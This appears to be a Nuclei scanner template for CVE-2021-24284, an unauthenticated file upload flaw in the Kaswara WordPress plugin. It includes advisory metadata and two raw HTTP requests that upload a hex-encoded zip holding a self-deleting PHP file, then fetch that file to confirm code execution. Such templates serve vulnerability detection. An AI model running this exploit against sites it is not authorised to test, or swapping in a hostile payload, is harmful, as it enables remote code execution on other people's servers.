WordPress Kaswara Modern VC Addons <=3.0.1 - Arbitrary File Upload

id: CVE-2021-24284

info:
  name: WordPress Kaswara Modern VC Addons <=3.0.1 - Arbitrary File Upload
  author: lamscun,pussycat0x,pdteam
  severity: critical
  description: |
    WordPress Kaswara Modern VC Addons plugin through 3.0.1 is susceptible to an arbitrary file upload. The plugin allows unauthenticated arbitrary file upload via the uploadFontIcon AJAX action, which can be used to obtain code execution. The supplied zipfile is unzipped in the wp-content/uploads/kaswara/fonts_icon directory with no checks for malicious files such as PHP.
  impact: |
    Successful exploitation of this vulnerability can result in unauthorized remote code execution on the affected WordPress website.
  remediation: |
    Update to the latest version of Kaswara Modern VC Addons plugin (>=3.0.2) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/8d66e338-a88f-4610-8d12-43e8be2da8c5
    - https://github.com/advisories/GHSA-wqvg-8q49-hjc7
    - https://www.wordfence.com/blog/2021/04/psa-remove-kaswara-modern-wpbakery-page-builder-addons-plugin-immediately/
    - https://www.waltermairena.net/en/2021/04/25/0-day-vulnerability-in-the-plugin-kaswara-modern-vc-addons-plugin-what-can-i-do/
    - https://lifeinhex.com/kaswara-exploit-or-how-much-wordfence-cares-about-user-security/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24284
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-24284
    cwe-id: CWE-434
    epss-score: 0.4214
    epss-percentile: 0.98706
    cpe: cpe:2.3:a:kaswara_project:kaswara:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: kaswara_project
    product: kaswara
    framework: wordpress
  tags: cve2021,cve,intrusive,unauth,fileupload,wpscan,wordpress,wp-plugin,rce,wp,kaswara_project,vkev,vuln
variables:
  zip_file: "{{to_lower(rand_text_alpha(6))}}"
  php_file: "{{to_lower(rand_text_alpha(2))}}.php"
  string: "CVE-2021-24284"
  php_cmd: "<?php echo md5('{{string}}');unlink(__FILE__);?>"

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=uploadFontIcon HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=------------------------d3be34324392a708

        --------------------------d3be34324392a708
        Content-Disposition: form-data; name="fonticonzipfile"; filename="{{zip_file}}.zip"
        Content-Type: application/octet-stream

        {{hex_decode('504B03040A0000000000FA73F454B2333E07140000001400000006001C00')}}{{php_file}}{{hex_decode('555409000366CBD76267CBD76275780B000104F50100000414000000')}}{{php_cmd}}{{hex_decode('0A504B01021E030A00000000002978F454E49BC1591300000013000000060018000000000001000000A48100000000')}}{{php_file}}{{hex_decode('555405000366CBD76275780B000104F50100000414000000504B050600000000010001004C000000530000000000')}}
        --------------------------d3be34324392a708
        Content-Disposition: form-data; name="fontsetname"

        {{zip_file}}
        --------------------------d3be34324392a708
        Content-Disposition: form-data; name="action"

        uploadFontIcon
        --------------------------d3be34324392a708--
      - |
        GET /wp-content/uploads/kaswara/fonts_icon/{{zip_file}}/{{php_file}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - "wp-content/uploads/kaswara/fonts_icon/{{zip_file}}/style.css"

      - type: word
        part: body_2
        words:
          - '{{md5(string)}}'

      - type: status
        status:
          - 200